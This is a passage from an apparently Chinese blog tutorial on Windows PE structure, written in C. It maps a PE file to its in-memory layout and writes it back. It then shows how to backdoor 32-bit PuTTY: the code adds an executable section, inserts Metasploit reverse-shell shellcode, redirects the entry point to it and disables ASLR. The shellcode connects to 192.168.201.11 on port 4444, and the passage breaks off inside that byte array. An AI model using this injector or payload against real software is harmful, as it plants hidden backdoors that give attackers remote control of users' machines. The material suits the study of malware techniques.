ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader); // SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i); // 每个节区头大小是固定的,所以+1就是下一个节区头
}
}
- 新建一块区域用于存放拉伸后的PE文件
// 新建一块区域用于存放拉伸后的PE文件
char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage); // 可选PE头中的SizeOfImage成员用于表示PE文件在内存中的总大小
if (imageBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
- 拉伸
// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
// 节区头中的PointerToRawData成员表示该节区数据在文件中的偏移量,所以fileBuffer + PointerToRawData就是该节区在文件中的起始位置
// 节区头中的VirtualAddress成员表示该节区数据在内存中的偏移量,所以imageBuffer + VirtualAddress就是该节区在内存中的起始位置
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
}
压缩
模拟PE文件在内存中的状态还原到硬盘中的过程。
char* imageBuffertoFileBuffer(char *imageBuffer) {
// 解析PE文件所有头部和节区头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader); // SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = ppSectionHeader[0] + i;
}
}
// 新建一块内存空间用于存放压缩后的PE文件数据
PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
char* fileBuffer = (char*)malloc(fileBufferSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileBufferSize);
// 拷贝PE头部和节区头
memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
// 拷贝节区
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
}
FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
fwrite(fileBuffer, fileBufferSize, 1, pf);
fclose(pf);
return fileBuffer;
}
代码详解
- 解析PE文件结构部分和拉伸过程基本一直,只是这次强制转换类型的数据变成了imageBase。
// 解析PE文件所有头部和节区头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = ppSectionHeader[0] + i;
}
}
- 新建一块内存用于存放压缩后的PE文件。
// 新建一块内存空间用于存放压缩后的PE文件数据
// fileBuffer内存大小通过最后一个节区头中的PointerToRawData(节在文件中的偏移量)和SizeOfRawData(在文件中对齐后的尺寸)相加得到。
PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
char* fileBuffer = (char*)malloc(fileBufferSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileBufferSize);
- 压缩过程
// 拷贝PE头部和节区头
memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
// 拷贝节区
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
}
完整代码
最后通过main函数调用拉伸和压缩函数,完成我们“复制”的过程。最后生成的1.exe,我们打开它能够正常运行,那就说明成功了。需要注意的是,这段代码仅支持拉伸和压缩32位的PE文件,因为里面使用到涉及位数的结构体都使用了32位。
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* fileBuffertoImageBuffer(char* fileBuffer);
char* imageBuffertoFileBuffer(char* imageBuffer);
int main(int argc, char* argv[]) {
char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe"); // 读取PE文件
char *imageBuffer = fileBuffertoImageBuffer(fileBuffer); // 拉伸
char *newFileBuffer = imageBuffertoFileBuffer(imageBuffer); // 压缩
free(fileBuffer);
free(newFileBuffer);
free(imageBuffer);
return 0;
}
char* readFile(const char* fileName) {
// 打开文件
FILE *pf = fopen(fileName, "rb");
if (pf == NULL) {
printf("文件打开失败!");
return NULL;
}
// 获取文件大小
unsigned int fileSize = 0;
fseek(pf, 0, SEEK_END);
fileSize = ftell(pf);
fseek(pf, 0, SEEK_SET);
// 分配内存并初始化
char* fileBuffer = (char*)malloc(fileSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileSize);
// 读文件
fread(fileBuffer, fileSize, 1, pf);
fclose(pf);
return fileBuffer;
}
char* fileBuffertoImageBuffer(char *fileBuffer) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return NULL;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
// 新建一块区域用于存放拉伸后的PE文件
char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
if (imageBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
// 拉伸
// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);
// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
printf("%p\n", (ppSectionHeader[i]->VirtualAddress));
memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
}
return imageBuffer;
}
char* imageBuffertoFileBuffer(char *imageBuffer) {
// 解析PE文件所有头部和节区头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);;
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = ppSectionHeader[0] + i;
}
}
// 新建一块内存空间用于存放压缩后的PE文件数据
PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
char* fileBuffer = (char*)malloc(fileBufferSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileBufferSize);
// 拷贝PE头部和节区头
memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);
// 拷贝节区
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
}
FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
fwrite(fileBuffer, fileBufferSize, 1, pf);
fclose(pf);
return fileBuffer;
}
0x0a 往PE文件中添加恶意代码
练习PE文件结构其实还有其他更加有趣的实验,我们已经学习到PE文件的可选PE头结构体中有一个AddressOfEntryPoint成员,用于指定程序最先执行的代码起始地址,那我们往程序中注入恶意代码,然后修改AddressOfEntryPoint指向我们的恶意代码,那么程序在运行时是不是就执行了我们的恶意代码呢?为了更加无感执行,我们执行完恶意代码后再跳转回原来的AddressOfEntryPoint执行,那程序就能在执行恶意代码的基础上,正常的运行程序了。本文的实验程序是32位putty,下载地址:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
注入恶意代码
首先我们需要考虑的就是怎么往PE文件中注入恶意代码,这里就需要用到前面学习到的节区了。通常PE文件会把机器码指令存放在.text节中,那么我们同样可以添加恶意代码机器码到节区中。
其实有几种方式注入:
- 新增节区存放恶意代码机器码指令(需要保证节区有执行权限,当节区的Characteristics中IMAGE_SCN_MEM_EXECUTE位置为1时,该节区有执行权限)。
- 扩大节区存放恶意代码机器码指令。
- 合并节区存放恶意代码机器码指令。
本文先以新增节区的方式讲解,其他方式后续有机会再写。
新增节区
需要改动的成员
通过前面学习的PE结构我们可以知道,有些成员之间是相互有关联的,那么我们改动一个地方之后,可能另外一个地方也需要一起改动,这样才能保证PE文件能够被正常运行。通过新增节区的方式,我们需要改动的有以下几个地方:
- 文件头需要修改的成员
- NumberOfSections // PE文件中存在的节的总数
- 可选PE头需要修改的成员
- SizeOfImage // 内存中整个PE文件的映射的尺寸,可以比实际的值大,但必须是SectionAlignment的整数倍
- 新增的节区头中需要修改的成员
- Name // 节区名称
- Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸
- VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)
- SizeOfRawData // 节区文件中对齐后的尺寸
- PointerToRawData // 节区在文件中的偏移量
- Characteristics // 节区的属性如可读,可写,可执行等
步骤
- 检查空间
在新增节区之前,需要检查是否有足够的空间添加节区头。我们知道最后一个节区头与第一个节区之间是有一块空闲空间的,通常编译器生成的PE文件都会有这样一块空间,我们需要做的就是判断这块空闲空间是否足够存放两个节区头,也就是80个字节(一个节区头40个字节)。
那么可能还有个疑问,为什么要检查两个节区头大小,不是只新增一个节区头吗?其实这是为了兼容所有的操作系统,部分操作系统遍历节区头会通过以一个全为0x00的节区头作为结尾,类似于C语言中字符串结束符'\0',我们要兼容这种情况就必须要预留出一个空白的节区头(值得注意的是,这并不是必须的,只有在存在这种情况的操作系统上运行才需要这么做,貌似现在大部分操作系统都不需要这么做了,这个没有具体深究过)。
除了检查是否有足够的空间外,还需要检查这块空间里是否有编译器留下的一些数据(非0x00一般就是编译器留下的数据),可以参考旧版本的notepad.exe,它的这块空闲区域就存放了一些数据。
当遇到空闲区域有填充数据的时候,还可以尝试把整个NT头和节区头上移,将DOS存根(DOS存根可有可无)覆盖,通过这种方式来获取添加节区头的空间。为啥不把节区数据往下移动呢?因为移动后节区的文件偏移、内存偏移都改变了,你需要修改所有的节区头,这样很麻烦。通常几种方式就能够解决大部分的环境了。
- 新增节区头并完善新节区头中的数据
这部分稍微复杂一点点,需要计算一下新节区的文件偏移、内存偏移等。这部分的思路是,复制上一个节区头到新节区头位置,然后修改部分值。
这里我们可以通过获取新增节区头的上一个节区头结构体指针,然后+1得到新增节区头的首地址。然后获取新增节区头的上一个节区头在文件中的偏移量(VirtualAddress)加上fileBuffer,就得到需要复制的开始地址,然后用这个开始地址+新增节区头的上一个节区头在文件中对齐后的尺寸(SizeOfRawData)就得到需要复制的结束地址。得到这三个数据后,通过memcpy进行拷贝即可。
之后就是修改新增节区的一些成员值:
- Name // 节区名称
- 直接通过memcpy拷贝一个小于8个字节的字符串即可
- memcpy(newPSectionHeader->Name, ".gcker", 7);
- Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸
-
计算出需要添加的机器码指令长度后赋值给它即可
-
VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)
- 新增节区头的上一个节区头结构体的VirtualAddress + 上一个节区内存对齐后的尺寸
- 首先需要判断上一个节区的Misc.VirtualSize和SizeOfRawData哪个大,取大的来做下面的运算
- 上一个节区内存对齐后的尺寸 = ((max(上一个节区的Misc.VirtualSize,上一个节区的SizeOfRawData) - 1) / SectionAlignment + 1) * SectionAlignment
- 上面公式中的(上一个节区的Misc.VirtualSize - 1) / SectionAlignment + 1其实是参考https://blog.csdn.net/robinfoxnan/article/details/113634301的
- SizeOfRawData // 节区文件中对齐后的尺寸
- ((机器码指令长度 - 1) / FileAlignment + 1) * FileAlignment
- 依旧是参考上面的向上取整的公式,计算文件对齐后尺寸
- PointerToRawData // 节区在文件中的偏移量
- 节区在文件中的偏移量 = 上一个节区文件偏移量(PointerToRawData) + 上一个节区文件对齐后尺寸(SizeOfRawData)
- Characteristics // 节区的属性如可读,可写,可执行等
- 由于执行权限是0x20000000,所以只需要跟0x20000000相与就行了
-
Characteristics |= 0x20000000
-
修改PE结构其他成员
-
文件头的NumberOfSections:节区个数,由于我们新增一个节区,所有加一就行了
- NumberOfSections += 1
- 可选PE头的SizeOfImage:内存中整个PE文件尺寸
- 只需要计算原有SizeOfImage + 机器码指令长度的内存对齐后尺寸就行,依旧可以使用向上取整的公式
-
(SizeOfImage + shellcodeLength - 1) / SectionAlignment + 1
-
新增节区数据
到这一步就是新增我们存放机器码指令的地方了,我们可以直接用realloc来增大。增大后的长度就是:原有长度+新增节区文件对齐后尺寸
代码实现
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
int addSection(char* fileBuffer, unsigned long shellcodeLength);
int main(int argc, char* argv[]) {
char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe"); // 读取PE文件
addSection(fileBuffer, 10);
return 0;
}
char* readFile(const char* fileName) {
// 打开文件
FILE *pf = fopen(fileName, "rb");
if (pf == NULL) {
printf("文件打开失败!");
return NULL;
}
// 获取文件大小
unsigned int fileSize = 0;
fseek(pf, 0, SEEK_END);
fileSize = ftell(pf);
fseek(pf, 0, SEEK_SET);
// 分配内存并初始化
char* fileBuffer = (char*)malloc(fileSize);
if (fileBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(fileBuffer, 0, fileSize);
// 读文件
fread(fileBuffer, fileSize, 1, pf);
fclose(pf);
return fileBuffer;
}
int addSection(char* fileBuffer, unsigned long shellcodeLength) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return -1;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
// 检查空间阶段
// 判断是否有足够空间添加节区头
char *start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
char *end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
if (end - start >= 80) {
printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
}
// 判断需要被填充为新节区头的部分是否存在其他数据
for (int i = 0; i < 40; ++i) {
if (start[i] != '\x00') {
printf("节区末尾空间不足,需要上移NT头!");
return -1;
}
}
// 新增节区头并完善新节区头中的数据阶段
// 新增节区头并设置其属性
PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
// 将上一个节区头拷贝下来
memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);
// 设置节区名
memcpy(newPSectionHeader->Name, ".gcker", 7);
// 设置节区数据实际长度
newPSectionHeader->Misc.VirtualSize = shellcodeLength;
// 设置节区在内存中的偏移量
unsigned int size = 0;
if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
}
else {
size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
}
newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;
// 计算在文件中对齐后的尺寸
newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;
// 计算节区在文件中的偏移量
newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
// 给节区添加执行权限
newPSectionHeader->Characteristics |= 0x20000000;
// 修改PE结构其他成员阶段
// 设置节区头数量
pFileHeader->NumberOfSections += 1;
// 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;
// 新增节区数据
// 新增节区数据,用于存放机器码指令
unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
// 写入文件
FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
fwrite(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData, 1, pf);
return 0;
}
添加恶意代码并执行
重点来了,接下来我们就需要添加恶意代码并修改AddressOfEntryPoint执行恶意代码。总体的思路如下:
- MSF生成shellcode
- 将shellcode插入新增的节区中
- 在shellcode后面添加汇编call硬编码指令调用shellcode
- 修改AddressOfEntryPoint
- 修改DllCharacteristics,禁用随机基址
函数代码
void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew); // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader; // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
if (ppSectionHeader == NULL) {
printf("内存分配失败!");
return;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
if (pFileHeader->NumberOfSections > 1) {
for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
}
}
PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
// 插入shellcode
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
char newOpcode[] = "\xe8\x00\x00\x00\x00";
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
unsigned int newOpcodeLength = sizeof(newOpcode) - 1;
// 添加call指令调用shellcode
unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
// 修改OEP
unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
pOptionalHeader->AddressOfEntryPoint = newOEP;
// 关闭随机基址
pOptionalHeader->DllCharacteristics &= 0xffbf;
// 写入文件
FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
return;
}
代码详解
MSF生成shellcode
这个我就不赘述啦~各位师傅估计倒着写都比我溜,我这里实验是生成windows的终端反弹shell。
shellcode插入新增的节区
插入其实就很简单了,我们通过memcpy进行拷贝,拷贝到fileBuffer + 新增节区头的PointerToRawData位置。
// 插入shellcode
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
添加call硬编码指令调用shellcode
我们在节区的shellcode后面再加一句call指令,用来调用shellcode。call指令是汇编指令,其作用是调用一个过程,指挥处理器从新的内存地址开始执行,类似于编程中的调用函数,使用格式是call <内存地址>。这里最好在shellcode后面相隔几个字节的地方添加call指令,否则call指令的硬编码可能会和shellcode末尾的指令混合在一起形成新的指令,这样意思就错乱了。
需要注意的是,call指令后面跟着的内存地址并不是直接的内存地址,是需要通过一定计算后的,大概意思就是说:假设现在需要通过call指令让CPU到内存地址为0x12345678这个地方执行,那么调用的时候就不是简单的call 0x12345678,具体计算方法如下:
- 跳转的真实地址为0x12345678,我们设为X
- call指令的下一条指令的内存地址,设为Y
- call指令后面跟着的地址Z = X - Y
- call的机器码是E8,结合上面计算得到的结果,完整的硬编码就是E8 \<Z>,如Z是0x32164587,则硬编码就是E8 0x32165487
第一个跳转的真实地址 = 新增节区的内存偏移(VirtualAddress) + 基址(ImageBase)。
第二个可能读起来有点懵,用下图解释应该就很清晰了:
在代码中,我们可以通过公式计算:新增节区的内存偏移(VirtualAddress)+ shellcode长度 + 几个字节(防止call指令的硬编码和shellcode末尾的指令混合在一起形成新的指令)+ 5(这个5是call指令的长度,加了5就是下一条指令的地址了)+ 基址(ImageBase)。
这里注意最后要加上基址,因为程序真实加载到内存中,地址是基址+内存偏移的。
知道这X和Y后,只需要做个减法就得到call指令的跳转地址了。注意在代码中我没有加上面公式中的“几个字节”,是因为我在shellcode数组后面已经加了这几个字节,这样shellcodeLength变量就包含了这几个字节,减少代码长度。
// 添加call指令调用shellcode
unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
// 注意下面有个+1,是因为我们要赋值到call的后面,不加1就会把call硬编码给覆盖了。
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
修改AddressOfEntryPoint
注意AddressOfEntryPoint填的是内存偏移,不需要加上基址,这里我们直接修改AddressOfEntryPoint为上面新增的call指令的内存偏移就行,这样程序打开后就会先执行这条call指令调用shellcode了。
// 修改OEP
// call指令内存偏移 = 新增节区内存偏移 + shellcode长度得到
unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
pOptionalHeader->AddressOfEntryPoint = newOEP;
禁用随机基址
随机基址可以理解为:程序每次加载都不是以ImageBase作为基址,而是随机生成一个,主要用于防止程序被破解。PE文件结构中,当可选PE头的DllCharacteristics成员的高7位为1时,开启随机基址,要关闭就把高7位置0就行。
// 关闭随机基址
pOptionalHeader->DllCharacteristics &= 0xffbf;
完整代码
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* addSection(char* fileBuffer, unsigned long shellcodeLength);
void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer);
int main(int argc, char* argv[]) {
char* fileBuffer = readFile("C:\\Users\\XXX\\putty.exe"); // 读取PE文件
char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc9\x0b\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
